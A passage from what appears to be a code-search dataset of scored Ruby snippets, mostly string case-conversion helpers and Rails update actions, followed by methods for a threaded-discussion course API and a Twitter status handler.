'Macedo')\n localstring.gsub!(/\\bMacEvicius/, 'Macevicius')\n localstring.gsub!(/\\bMacHado/, 'Machado')\n localstring.gsub!(/\\bMacHar/, 'Machar')\n localstring.gsub!(/\\bMacHin/, 'Machin')\n localstring.gsub!(/\\bMacHlin/, 'Machlin')\n localstring.gsub!(/\\bMacIas/, 'Macias')\n localstring.gsub!(/\\bMacIulis/, 'Maciulis')\n localstring.gsub!(/\\bMacKie/, 'Mackie')\n localstring.gsub!(/\\bMacKle/, 'Mackle')\n localstring.gsub!(/\\bMacKlin/, 'Macklin')\n localstring.gsub!(/\\bMacKmin/, 'Mackmin')\n localstring.gsub!(/\\bMacQuarie/, 'Macquarie')\n end\n localstring.gsub!('Macmurdo','MacMurdo')\n end\n\n # Fixes for \"son (daughter) of\" etc\n localstring.gsub!(/\\bAl(?=\\s+\\w)/, 'al') # al Arabic or forename Al.\n localstring.gsub!(/\\bAp\\b/, 'ap') # ap Welsh.\n localstring.gsub!(/\\bBen(?=\\s+\\w)/,'ben') # ben Hebrew or forename Ben.\n localstring.gsub!(/\\bDell([ae])\\b/,'dell\\1') # della and delle Italian.\n localstring.gsub!(/\\bD([aeiou])\\b/,'d\\1') # da, de, di Italian; du French; do Brasil\n localstring.gsub!(/\\bD([ao]s)\\b/,'d\\1') # das, dos Brasileiros\n localstring.gsub!(/\\bDe([lr])\\b/,'de\\1') # del Italian; der Dutch/Flemish.\n localstring.gsub!(/\\bEl\\b/,'el') # el Greek or El Spanish.\n localstring.gsub!(/\\bLa\\b/,'la') # la French or La Spanish.\n localstring.gsub!(/\\bL([eo])\\b/,'l\\1') # lo Italian; le French.\n localstring.gsub!(/\\bVan(?=\\s+\\w)/,'van') # van German or forename Van.\n localstring.gsub!(/\\bVon\\b/,'von') # von Dutch/Flemish\n\n # Fix roman numeral names\n localstring.gsub!(\n / \\b ( (?: [Xx]{1,3} | [Xx][Ll] | [Ll][Xx]{0,3} )?\n (?: [Ii]{1,3} | [Ii][VvXx] | [Vv][Ii]{0,3} )? ) \\b /x\n ) { |match| match.upcase }\n\n localstring\n end", "title": "" }, { "docid": "2baad295758cd94253dee475833715ad", "score": "0.5269419", "text": "def case_sensitive_matching\n @case_sensitive_matching = false if @case_sensitive_matching.nil?\n @case_sensitive_matching\n end", "title": "" }, { "docid": "1ed52d7af83fef0e2e161e4d46ecbf93", "score": "0.525835", "text": "def update\n @servicerequest.update(servicerequest_params)\n @servicerequest.seccion = @servicerequest.seccion.upcase\n @servicerequest.contacto_int = @servicerequest.contacto_int.upcase\n @servicerequest.correo_int = @servicerequest.correo_int.upcase\n @servicerequest.observacion = @servicerequest.observacion.upcase\n respond_to do |format|\n if @servicerequest.save\n format.html { redirect_to servicerequests_url, notice: 'Service request was successfully updated.' }\n format.json { render :show, status: :ok, location: @servicerequest }\n else\n format.html { render :edit }\n format.json { render json: @servicerequest.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3bf721fffbbbf5e8df868c067ab3f3b6", "score": "0.52422726", "text": "def mixed_case_2(name)\n\tname.downcase.gsub(/\\b\\w/, &:upcase)\nend", "title": "" }, { "docid": "3556e5e5679f8dde4aa767526f9dd258", "score": "0.5240505", "text": "def case_exact=(value)\n @case_exact = value\n end", "title": "" }, { "docid": "85348183e522a8f8068e2c0b2e9c4ba1", "score": "0.52386355", "text": "def mixed_case(name)\n name.downcase.gsub(/\\b\\w/, &:upcase)\nend", "title": "" }, { "docid": "a27fa4de9a27f37b6edce557b0b15a30", "score": "0.5231721", "text": "def sort_case(value)\n @case_sensitive = value\n end", "title": "" }, { "docid": "8c13ad89e49cc1f95293de206d6658b2", "score": "0.52270496", "text": "def update\n respond_to do |format|\n if @case.update(case_params)\n format.html { redirect_to @case, notice: 'Case was successfully updated.' }\n format.json { render :show, status: :ok, location: @case }\n else\n format.html { render :edit }\n format.json { render json: @case.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8c13ad89e49cc1f95293de206d6658b2", "score": "0.52270496", "text": "def update\n respond_to do |format|\n if @case.update(case_params)\n format.html { redirect_to @case, notice: 'Case was successfully updated.' }\n format.json { render :show, status: :ok, location: @case }\n else\n format.html { render :edit }\n format.json { render json: @case.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7525a605095c8aeff511d2fa4b0f70aa", "score": "0.52270204", "text": "def lower_case!(words)\n raise NotImplementedError # TODO\nend", "title": "" }, { "docid": "be998e71fe781a85f37b012a3ee8f251", "score": "0.5225597", "text": "def update\n respond_to do |format|\n if @case.update(case_params)\n format.html { redirect_to cases_path, notice: 'Case was successfully updated.' }\n format.json { render :show, status: :ok, location: @case }\n else\n format.html { render :edit }\n format.json { render json: @case.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "89011c591a0422316c58ba820d638c42", "score": "0.52151", "text": "def downcase_fields\n self.guess.downcase!\n end", "title": "" }, { "docid": "2f7c73efa16c5755fc6d6b167f87e63f", "score": "0.52032304", "text": "def update\n respond_to do |format|\n if @code_case.update(code_case_params)\n format.html { redirect_to design_cases_path, notice: 'Code case was successfully updated.' }\n format.json { render :show, status: :ok, location: @code_case }\n else\n format.html { render :edit }\n format.json { render json: @code_case.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "11b2e9d4ea35a8a70941fae891f05801", "score": "0.5197629", "text": "def snake_case_params!(val = params)\n case val\n when Array\n val.map { |v| deep_snake_case_params! v }\n when Hash\n val.keys.each do |k, v = val[k]|\n val.delete k\n val[k.underscore] = snake_case_params!(v)\n end\n val\n else\n val\n end\n end", "title": "" }, { "docid": "64b31213a474810d0beddcba4d34d5c1", "score": "0.5192871", "text": "def downcase!() end", "title": "" }, { "docid": "e4e38b48dba48b69d1538590da1434f8", "score": "0.51891065", "text": "def downcase_fields\n self.handle.downcase!\n end", "title": "" }, { "docid": "5f536a85c6d1214fed9887ca8d9a2f49", "score": "0.51875114", "text": "def case_insensitive_searchable_encrypt(data)\n _encrypt(data, _search_prefix(data.downcase, LOWERCASE_SEARCHABLE, @key_id, @key))\n end", "title": "" }, { "docid": "86cb1cc178e62ebdb46a8245ca7527c7", "score": "0.51872915", "text": "def downcase_attributes\n ea = ''\n attr_list = []\n\n if self.class.respond_to?(:no_downcase_attributes) && self.class.no_downcase_attributes\n attr_list += self.class.no_downcase_attributes\n end\n\n attr_list += no_downcase_attributes if respond_to?(:no_downcase_attributes) && no_downcase_attributes\n\n attr_list.each do |e|\n ea += \"(#{e})?\"\n end\n\n ignore =\n /(item_type)?(notes)?(description)?(message)?(.+_notes)?(.+_description)?(.+_details)?(e_signed_document)?#{ea}/\n\n attributes.select { |k, _v| k.to_sym.in? self.class.permitted_params }\n .reject { |k, _v| k && k.match(ignore)[0].present? }\n .each do |k, v|\n send(\"#{k}=\".to_sym, v.downcase) if attributes[k].is_a? String\n end\n true\n end", "title": "" }, { "docid": "f798edbc7d9409d30143fa1be72eb210", "score": "0.5179996", "text": "def downcase!\n self.username.downcase!\n self.email.downcase!\n end", "title": "" }, { "docid": "3fc9463870ad65db43e4a09cfff2995b", "score": "0.51787376", "text": "def snakecase(string); end", "title": "" }, { "docid": "a8ecc7b31858dfc7710e4530a8be1b51", "score": "0.51777583", "text": "def rl_do_lowercase_version(ignore1, ignore2)\r\n 0\r\n end", "title": "" }, { "docid": "5fd4b945c63a4ee0447d10c6d5fe45a0", "score": "0.5175141", "text": "def update\n @company = Company.find(params[:id])\n \n\t\t# logger.debug \"Hello\"\n # logger.debug params.to_yaml\n # logger.debug \"Hello\"\n # logger.debug params[\"company\"][\"code\"].upcase!\n # params[\"company\"[\"code\"]].to_upper!\n code_to_upper(params)\n \n respond_to do |format|\n if @company.update_attributes(params[:company])\n flash[:notice] = 'Company was successfully updated.'\n format.html { redirect_to(@company) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @company.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8848213ce2756e758bca3e6094873b63", "score": "0.5162206", "text": "def downcase_case_insensitive_attributes\n self.email&.downcase!\n end", "title": "" }, { "docid": "0978ab710bf37621b9a830963f58b5e9", "score": "0.51617664", "text": "def update\n respond_to do |format|\n if @application_case.update(application_case_params)\n format.html { redirect_to @application_case, notice: 'Application case was successfully updated.' }\n format.json { render :show, status: :ok, location: @application_case }\n else\n format.html { render :edit }\n format.json { render json: @application_case.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d3dee1e0da2443d65f6af21a42e23873", "score": "0.51481557", "text": "def update\n @person = Person.find(params[:id])\n @title = \"people\"\n\n# @person.firstname = @person.firstname.upcase\n# @person.lastname = @person.lastname.capitalize\n params[:person][:firstname] = params[:person][:firstname].upcase\n params[:person][:lastname] = params[:person][:lastname].upcase\n\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to(@person, :notice => 'Person was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @person.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d88242a6266dbce25ccac4ec5bc7908b", "score": "0.5142427", "text": "def update\n respond_to do |format|\n if @case.update(case_params)\n format.html { redirect_to back_url, notice: 'Case was successfully updated.' }\n format.json { render :show, status: :ok, location: @case }\n else\n format.html { render :edit }\n format.json { render json: @case.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2f7f6dba29b52fd6d0d33deb056386f1", "score": "0.5137492", "text": "def snake_case(name); end", "title": "" }, { "docid": "408a16fff4d331f2501c3e17f88f162a", "score": "0.5122858", "text": "def lower_case()\n LuckyCase.lower_case self\n end", "title": "" }, { "docid": "fe31a6768adcb6cab676864a98e53f6c", "score": "0.5116568", "text": "def fix_convert_abbreviations_to_lower_case(options)\n input_file_spec = options['input'] || 'staging_dir/at_files'\n Repositext::Cli::Utils.change_files_in_place(\n config.compute_glob_pattern(input_file_spec),\n /\\.(at|pt|txt)\\z/i,\n \"Converting abbreviations to lower case\",\n options\n ) do |contents, filename|\n outcome = Repositext::Fix::ConvertAbbreviationsToLowerCase.fix(contents, filename)\n [outcome]\n end\n end", "title": "" }, { "docid": "f02a9ebac7dd743db7af8f94501ae473", "score": "0.5115692", "text": "def upcase(input); end", "title": "" }, { "docid": "ee0262d6e3a10a50d344dbcc0a8a304d", "score": "0.5112851", "text": "def swap_case(str)\n str.swapcase\nend", "title": "" }, { "docid": "36c80f0d8556a6d36ff2c8550fe8ae3f", "score": "0.5108973", "text": "def update!(**args)\n @case_insensitive = args[:case_insensitive] if args.key?(:case_insensitive)\n @contains = args[:contains] if args.key?(:contains)\n @intervals = args[:intervals] if args.key?(:intervals)\n @key = args[:key] if args.key?(:key)\n @order_by = args[:order_by] if args.key?(:order_by)\n @prefixes = args[:prefixes] if args.key?(:prefixes)\n @restricted_values = args[:restricted_values] if args.key?(:restricted_values)\n end", "title": "" }, { "docid": "e27306cfb6bc97a9a3e2f8faa6e45af8", "score": "0.51015157", "text": "def train_case(preserve_prefixed_underscores: true)\n LuckyCase.train_case self, preserve_prefixed_underscores: preserve_prefixed_underscores\n end", "title": "" }, { "docid": "b4a0e5a720694ebda9a34c786a85ddb1", "score": "0.50968647", "text": "def toggle_case(text, count = text.prefix_count)\n from = 'insert'\n to = \"insert + #{count} chars\"\n chunk = text.get(from, to)\n chunk.tr!('a-zA-Z', 'A-Za-z')\n text.replace(from, to, chunk)\n end", "title": "" }, { "docid": "0fd066f73d9cb7b0dfa9558496ba2c97", "score": "0.50944906", "text": "def change_case( answer_string )\n if [:up, :upcase].include?(@case)\n answer_string.upcase\n elsif [:down, :downcase].include?(@case)\n answer_string.downcase\n elsif @case == :capitalize\n answer_string.capitalize\n else\n answer_string\n end\n end", "title": "" }, { "docid": "d438905d1c6ecba3ecef247e224b841d", "score": "0.50854635", "text": "def update!(**args)\n @contains_lowercase_character = args[:contains_lowercase_character] if args.key?(:contains_lowercase_character)\n @contains_non_alphanumeric_character = args[:contains_non_alphanumeric_character] if args.key?(:contains_non_alphanumeric_character)\n @contains_numeric_character = args[:contains_numeric_character] if args.key?(:contains_numeric_character)\n @contains_uppercase_character = args[:contains_uppercase_character] if args.key?(:contains_uppercase_character)\n @max_password_length = args[:max_password_length] if args.key?(:max_password_length)\n @min_password_length = args[:min_password_length] if args.key?(:min_password_length)\n end", "title": "" }, { "docid": "d438905d1c6ecba3ecef247e224b841d", "score": "0.50854635", "text": "def update!(**args)\n @contains_lowercase_character = args[:contains_lowercase_character] if args.key?(:contains_lowercase_character)\n @contains_non_alphanumeric_character = args[:contains_non_alphanumeric_character] if args.key?(:contains_non_alphanumeric_character)\n @contains_numeric_character = args[:contains_numeric_character] if args.key?(:contains_numeric_character)\n @contains_uppercase_character = args[:contains_uppercase_character] if args.key?(:contains_uppercase_character)\n @max_password_length = args[:max_password_length] if args.key?(:max_password_length)\n @min_password_length = args[:min_password_length] if args.key?(:min_password_length)\n end", "title": "" }, { "docid": "6f8fbca480dc337fef27c5c05c274b3f", "score": "0.5084276", "text": "def update\n respond_to do |format|\n if @vf_case.update(vf_case_params)\n format.html { redirect_to @vf_case, notice: 'Vf case was successfully updated.' }\n format.json { render :show, status: :ok, location: @vf_case }\n else\n format.html { render :edit }\n format.json { render json: @vf_case.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "91f1ab91b013042e890011dd55577d85", "score": "0.50823516", "text": "def snake_case(str); end", "title": "" }, { "docid": "f98149f553c583d01defb23474d2a12e", "score": "0.5077208", "text": "def downcase; end", "title": "" }, { "docid": "96bae0570857f58dd7d483cbf0e7a4fc", "score": "0.50765675", "text": "def normalize_case(default = :smart)\n case self\n when /^(c|sens)/i\n :sensitive\n when /^i/i\n :ignore\n when /^s/i\n :smart\n else\n default.is_a?(Symbol) ? default : default.normalize_case\n end\n end", "title": "" }, { "docid": "c149e03842bdb6421fc94c1747ae805d", "score": "0.50698644", "text": "def downcase() end", "title": "" }, { "docid": "e144c7445a456236ca336ea2f3325471", "score": "0.50590324", "text": "def update\n params[:value].strip!\n @old_value = @translation_key.category.name\n respond_to do |format|\n if !params[:value].blank? && @translation_key.update_attribute(:name, params[:value])\n format.json { render json: { new_value: @translation_key.name, new_category: @translation_key.category.name, old_category: @old_value, key_id: @translation_key.id } }\n else\n format.json { render json: @translation_key.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e144c7445a456236ca336ea2f3325471", "score": "0.50590324", "text": "def update\n params[:value].strip!\n @old_value = @translation_key.category.name\n respond_to do |format|\n if !params[:value].blank? && @translation_key.update_attribute(:name, params[:value])\n format.json { render json: { new_value: @translation_key.name, new_category: @translation_key.category.name, old_category: @old_value, key_id: @translation_key.id } }\n else\n format.json { render json: @translation_key.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f14e0e6f1be685cf6d41f9fbf13efa28", "score": "0.50523925", "text": "def camel_case(str); end", "title": "" }, { "docid": "fc3397dac1f5873f4cc6f0a624340d56", "score": "0.5042269", "text": "def update\n h = sf_case_params.to_h\n h[:Id] = params[:id]\n @sf_case = SFCase.update(h.symbolize_keys)\n\n respond_to do |format|\n if @sf_case.sf_valid?\n set_success_flash_message(\"Case was successfully updated.\")\n format.html { redirect_to sf_case_path(h[\"Id\"])}\n format.json { render :show, status: :ok, location: @sf_case }\n else\n set_flash_error_message\n format.html { redirect_to edit_sf_case_path(@sf_case.Id) }\n format.json { render json: @sf_case.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0fcd9a21408263da871676e5960dd924", "score": "0.50399214", "text": "def update\n @case = Case.find(params[:id])\n \n\t\n respond_to do |format|\n if @case.update_attributes(params[:case])\n\t \n format.js \n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @case.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cbfde1e27da33622e86f2fb07609f905", "score": "0.50393933", "text": "def update\n @category = Category.find(params[:id])\n @category.format_name = params[:category][:name].gsub(/ /, \"_\").downcase\n \n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to admin_scenic_spots_url, notice: 'Article was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "49352357848878ffce477dc3296d2bdb", "score": "0.5033792", "text": "def swapcase\n s = self.dup\n s.swapcase!\n # s.taint if self.tainted?\n s\n end", "title": "" }, { "docid": "2b89cca72ac65c098b54dbb810c7a54c", "score": "0.50180227", "text": "def destroy\n @case_insensitive.destroy\n respond_to do |format|\n format.html { redirect_to case_insensitives_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "927b8f25ad718844b8236d0bb6d89568", "score": "0.5008003", "text": "def downcase!\n @raw.downcase!\n end", "title": "" }, { "docid": "396a7320f102bdc52a17142d1d7cf345", "score": "0.500235", "text": "def update!(**args)\n @old_canonical_name = args[:old_canonical_name] if args.key?(:old_canonical_name)\n end", "title": "" } ]
b7f236ab289e6d1346d375c36f4d65f1
Get read status of a user's discussion thread response with GET /users/:user_id/courses/:course_id/threadeddiscussions/:thread_id/topics/:topic_id/responses/:response_id/readStatus`` using OAuth1 or OAuth2 as a student.
[ { "docid": "30c427bf96a0512bcf4f1f9d73a65610", "score": "0.8768274", "text": "def get_threaded_discussion_response_read_status(user_id, course_id, thread_id, topic_id, response_id)\r\n relative_url = PATH_USERS_COURSES_THREADEDDISCUSSIONS_TOPICS_RESPONSE_READSTATUS % [user_id, course_id, thread_id, topic_id, response_id]\r\n get(relative_url)\r\n end", "title": "" } ]
[ { "docid": "88996fa48f8118d6f3a2fa7200fde285", "score": "0.75662243", "text": "def update_threaded_discussion_response_read_status(user_id, course_id, thread_id,\r\n topic_id, response_id, read_status)\r\n relative_url = PATH_USERS_COURSES_THREADEDDISCUSSIONS_TOPICS_RESPONSE_READSTATUS % [user_id,\r\n course_id,\r\n thread_id,\r\n topic_id,\r\n response_id]\r\n put(relative_url, read_status)\r\n end", "title": "" }, { "docid": "2e0f5401f06fe13b4529f32f18319d65", "score": "0.7008923", "text": "def get_threaded_discussion_topic_user_view_responses(user_id, course_id,\r\n thread_id, topic_id,\r\n depth = nil)\r\n if depth.nil?\r\n relative_url = PATH_USERS_COURSES_THREADEDDISCUSSIONS_TOPICS_USERVIEWRESPONSES % [user_id,\r\n course_id,\r\n thread_id,\r\n topic_id]\r\n else\r\n relative_url = PATH_USERS_COURSES_THREADEDDISCUSSIONS_TOPICS_USERVIEWRESPONSES_DEPTH % [user_id,\r\n course_id,\r\n thread_id,\r\n topic_id,\r\n depth]\r\n end\r\n get(relative_url)\r\n end", "title": "" }, { "docid": "79c36d87d8b433430ab5ddf0ce56e20c", "score": "0.65914625", "text": "def get_threaded_discussion_response_count(user_id, course_id, thread_id,\r\n topic_id, response_id, depth = nil)\r\n\r\n if depth.nil?\r\n relative_url = PATH_USERS_COURSES_THREADEDDISCUSSIONS_TOPICS_RESPONSES_RESPONSECOUNTS % [user_id, course_id,\r\n thread_id, topic_id,\r\n response_id]\r\n else\r\n relative_url = PATH_USERS_COURSES_THREADEDDISCUSSIONS_TOPICS_RESPONSES_RESPONSECOUNTS_DEPTH % [user_id, course_id,\r\n thread_id, topic_id,\r\n response_id, depth]\r\n end\r\n get(relative_url)\r\n end", "title": "" }, { "docid": "b6319b50b9c991d1a7980f4aef953b59", "score": "0.65013754", "text": "def get_threaded_discussion_response(course_id, thread_id, topic_id, response_id)\r\n\r\n relative_url = PATH_COURSES_THREADEDDISCUSSIONS_TOPICS_RESPONSES_ % [course_id,\r\n thread_id,\r\n topic_id,\r\n response_id]\r\n get(relative_url)\r\n end", "title": "" }, { "docid": "255756cf0d157bafb9b860f40c45bbe6", "score": "0.6373168", "text": "def get_threaded_discussion_topic_response_count(user_id, course_id, thread_id, topic_id, depth = nil)\r\n if depth.nil?\r\n relative_url = PATH_USERS_COURSES_THREADEDDISCUSSIONS_TOPICS_RESPONSECOUNTS_DEPTH % [user_id, course_id, thread_id, topic_id, depth]\r\n else\r\n relative_url = PATH_USERS_COURSES_THREADEDDISCUSSIONS_TOPICS_RESPONSECOUNTS % [user_id, course_id, thread_id, topic_id]\r\n end\r\n get(relative_url)\r\n end", "title": "" }, { "docid": "19d51e0d149861b20547908ddeb51446", "score": "0.6268697", "text": "def get_threaded_discussion_responses(course_id, thread_id, topic_id, response_id)\r\n relative_url = PATH_COURSES_THREADEDDISCUSSIONS_TOPICS_RESPONSES_RESPONSES % [course_id,\r\n thread_id,\r\n topic_id,\r\n response_id]\r\n get(relative_url)\r\n end", "title": "" }, { "docid": "89148099db62d5b3bb4bbe8c3cd1b2c4", "score": "0.621506", "text": "def get_last_threaded_discussion_response(user_id, course_id)\r\n relative_url = PATH_USERS_COURSES_THREADEDDISCUSSIONS_LASTRESPONSE % [user_id,\r\n course_id]\r\n get(relative_url)\r\n end", "title": "" }, { "docid": "0242c370a779f6bd796227f17dc68876", "score": "0.59797573", "text": "def get_threaded_discussion_response_branch(course_id, thread_id,\r\n topic_id, response_id)\r\n relative_url = PATH_COURSES_THREADEDDISCUSSIONS_TOPICS_RESPONSES_RESPONSEBRANCH % [course_id,\r\n thread_id,\r\n topic_id,\r\n response_id]\r\n get(relative_url)\r\n end", "title": "" }, { "docid": "fd484def4fa67cdec18d7aa226d28fe6", "score": "0.5930655", "text": "def get_threaded_discussion_response_author(course_id, thread_id,\r\n topic_id, response_id)\r\n relative_url = PATH_COURSES_THREADEDDISCUSSIONS_TOPICS_RESPONSES_RESPONSEAUTHOR % [course_id,\r\n thread_id,\r\n topic_id,\r\n response_id]\r\n get(relative_url)\r\n end", "title": "" }, { "docid": "07c5e94c542ba340ae95b5e4eb99cfa4", "score": "0.5674473", "text": "def get_threaded_discussion_response_hierarchy(course_id, thread_id,\r\n topic_id, response_id)\r\n relative_url = PATH_COURSES_THREADEDDISCUSSIONS_TOPICS_RESPONSES_RESPONSEHIEARCHY % [course_id,\r\n thread_id,\r\n topic_id,\r\n response_id]\r\n get(relative_url)\r\n end", "title": "" }, { "docid": "90af1fb762eab3386db1eb740c47adb5", "score": "0.5672568", "text": "def read\n @discussion = current_user.discussions.find(params[:id])\n @discussion && @discussion.read_by!(current_user)\n @discussion.comments.each do |comment|\n comment.read_by!(current_user) unless comment.read_by?(current_user)\n end\n render :nothing => true\n end", "title": "" }, { "docid": "672bb47170ff2d8956e7e3de8241afb6", "score": "0.55713904", "text": "def get_threaded_discussion_response_and_author_composite(course_id,\r\n thread_id, topic_id,\r\n response_id, depth = nil)\r\n if depth.nil?\r\n relative_url = PATH_COURSES_THREADEDDISCUSSIONS_TOPICS_RESPONSES_RESPONSEANDAUTHORCOMPS % [course_id,\r\n thread_id,\r\n topic_id,\r\n response_id]\r\n else\r\n relative_url = PATH_COURSES_THREADEDDISCUSSIONS_TOPICS_RESPONSES_RESPONSEANDAUTHORCOMPS_DEPTH % [course_id,\r\n thread_id,\r\n topic_id,\r\n response_id,\r\n depth]\r\n end\r\n get(relative_url)\r\n end", "title": "" }, { "docid": "11d3d7f0e39616c64db354ed8c33daa6", "score": "0.5535516", "text": "def get_threaded_discussion_topic_response_and_author_composite(course_id,\r\n thread_id, topic_id,\r\n depth = nil)\r\n if depth.nil?\r\n relative_url = PATH_COURSES_THREADEDDISCUSSIONS_TOPICS_RESPONSEANDAUTHORCOMPS % [course_id,\r\n thread_id,\r\n topic_id]\r\n\r\n else\r\n relative_url = PATH_COURSES_THREADEDDISCUSSIONS_TOPICS_RESPONSEANDAUTHORCOMPS_DEPTH % [course_id,\r\n thread_id,\r\n topic_id,\r\n depth]\r\n end\r\n get(relative_url)\r\n end", "title": "" }, { "docid": "075f428c762e7f54408a675dbfc4d7d5", "score": "0.5527478", "text": "def show\n @page_title = \"Messages\"\n @message_thread = MessageThread.find(params[:id])\n @message_thread.mark_read!(current_user)\n @message_threads = MessageThread.related_to(current_user)\n\n respond_to do |format|\n format.html { render :index }\n\n format.json do\n if @message_thread.related_to?(current_user)\n render json: thread_data(@message_thread)\n else\n render json: { error: \"Access denied.\" }\n end\n end\n end\n end", "title": "" }, { "docid": "64f7f4e7372395cb1659c7e3869fb668", "score": "0.5480557", "text": "def mark_thread_as_read(thread_id, options = {})\n boolean_from_response :patch, \"notifications/threads/#{thread_id}\", options\n end", "title": "" }, { "docid": "a69649ec3d17196cc45a273b3f395c5e", "score": "0.5401466", "text": "def get_thread_details(username, thread_id)\n $LOG.i \"running \" + __method__.to_s\n @client.get '/mc/v1/threads/' + username + '/' + thread_id\n end", "title": "" }, { "docid": "e50712d14471a247f3d16a9b62234805", "score": "0.53962463", "text": "def read\n @admin_discussion = AdminDiscussion.find(params[:id])\n @admin_discussion.read_by!(current_user)\n @admin_discussion.discussionable.read_by!(current_user)\n render :nothing => true\n end", "title": "" }, { "docid": "dae0e1d50e95331edd2015d4021f80e2", "score": "0.5349269", "text": "def read_messages!(user)\n if has_unread_messages?(user)\n user.reset_unread_chats_count\n self.chat_participations.where(user_id: user.id).first.try(:read_messages!)\n end\n end", "title": "" }, { "docid": "f731a8bd75b78eac6aa0a2077dae6f2f", "score": "0.530364", "text": "def read\n @tour.join_requests\n .accepted\n .where(user: current_user)\n .update_all(last_message_read: DateTime.now)\n head :no_content\n end", "title": "" }, { "docid": "2a9e68e1022d74a13be177ea356aaf8f", "score": "0.5263584", "text": "def index\n user = User.includes(message_threads: [:messages])\n .find(params[:user_id])\n\n if user.role === \"patient\"\n unread_messages = user.messages.where(read: false)\n render json: {\n unread_messages_count: unread_messages.count,\n unread_messages: unread_messages\n }\n elsif user.role === \"care_manager\"\n threads = user.patients.as_json(include: :messages)\n render json: threads\n end\n end", "title": "" }, { "docid": "8a9adb5e5194fb8af642b83392375645", "score": "0.5091392", "text": "def read_for!(user)\n received_message.read! if received_message\n replies.map { |r|\n r.received_message if r.recipient == user\n }.compact.each(&:read!)\n end", "title": "" }, { "docid": "55eb0ed89481d339bf6416d36971a7ad", "score": "0.5057854", "text": "def read\n @admin_message = Admin::Message.find(params[:id])\n\n # Mark either the conversation or the message itself as read by the user\n if @admin_message.recipients_can_reply? && current_user\n conversations = current_user.admin_conversations.find_all_by_admin_message_id(@admin_message.id)\n conversations.present? && conversations.each{|conversation| conversation.read_by!(current_user)}\n else\n @admin_message.read_by!(current_user)\n end\n\n render :nothing => true\n end", "title": "" }, { "docid": "0527b13a63a29184e4bc3b1dd3d2e558", "score": "0.50468373", "text": "def get_threaded_discussion_topic_hierarchy(course_id, thread_id, topic_id)\r\n relative_url = PATH_COURSES_THREADEDDISCUSSIONS_TOPICS_RESPONSEHIEARCHY % [course_id,\r\n thread_id,\r\n topic_id]\r\n get(relative_url)\r\n end", "title": "" }, { "docid": "c08c52c30fa22dab05e8cbc958395464", "score": "0.5023297", "text": "def read\n @entourage.join_requests\n .accepted\n .where(user: current_user)\n .update_all(last_message_read: DateTime.now)\n head :no_content\n end", "title": "" }, { "docid": "d7f7700fd843d07a45c122dfce0ad7d1", "score": "0.501506", "text": "def get_status\n @reply['status']\n end", "title": "" }, { "docid": "f5d7ea41c78a334258f7f4baf2092f40", "score": "0.5013876", "text": "def mark_as_read\n @client.post('/api/mod/conversations/read', conversationIds: [get_attribute(:id)])\n end", "title": "" }, { "docid": "3f803009ec655f6baaffeeb906b9b80c", "score": "0.4989977", "text": "def get_threaded_discussion_topics(course_id, thread_id, use_source_domain = false)\r\n if !use_source_domain\r\n relative_url = PATH_COURSES_THREADEDDISCUSSIONS_TOPICS % [course_id, thread_id]\r\n else\r\n relative_url = PATH_COURSES_THREADEDDISCUSSIONS_TOPICS_USESOURCEDOMAIN % [course_id, thread_id]\r\n end\r\n get(relative_url)\r\n end", "title": "" }, { "docid": "82541ac42acfd4c2318e6eb34b7a4f3f", "score": "0.49831197", "text": "def unread_by(user)\n self.includes(:chat_participations, :messages).where([\n \"(chat_participations.read_at < messages.created_at OR chat_participations.read_at IS NULL)\\\n AND chat_participations.user_id = :user_id AND messages.user_id <> :user_id\",\n {user_id: user.id}]).order(\"messages.created_at DESC\")\n end", "title": "" }, { "docid": "bf5ab26ec4a8352d8b66edfc6678174e", "score": "0.49773666", "text": "def update_threaded_discussion_response(course_id, thread_id, topic_id,\r\n response_id, response_message)\r\n relative_url = PATH_COURSES_THREADEDDISCUSSIONS_TOPICS_RESPONSES_ % [course_id,\r\n thread_id,\r\n topic_id,\r\n response_id]\r\n put(relative_url, response_message)\r\n end", "title": "" }, { "docid": "ada4cd549021c9e8feb69d967479c4ab", "score": "0.49737352", "text": "def create_threaded_discussion_response(course_id, thread_id, topic_id, options = {})\r\n if options[:response_id].nil?\r\n relative_url = PATH_COURSES_THREADEDDISCUSSIONS_TOPICS_RESPONSES % [course_id,\r\n thread_id,\r\n topic_id]\r\n else\r\n relative_url = PATH_COURSES_THREADEDDISCUSSIONS_TOPICS_RESPONSES_RESPONSES % [course_id,\r\n thread_id,\r\n topic_id,\r\n options[:response_id]]\r\n end\r\n post(relative_url, options[:response_message])\r\n end", "title": "" }, { "docid": "b11029ce4cdbf2e3bb0815db4abee04e", "score": "0.48965818", "text": "def get_status(m, params)\n friends = params[:friends]\n show_reply = @bot.config['twitter.status_show_replies']\n if m.message.match(/^twitter status reply/)\n show_reply = true\n elsif m.message.match(/^twitter status noreply/)\n show_reply = false\n end\n\n if @registry.has_key?(m.sourcenick + \"_access_token\")\n @access_token = YAML::load(@registry[m.sourcenick + \"_access_token\"])\n nick = params[:nick] || @access_token.params[:screen_name]\n else\n if friends\n if @has_oauth\n m.reply \"You 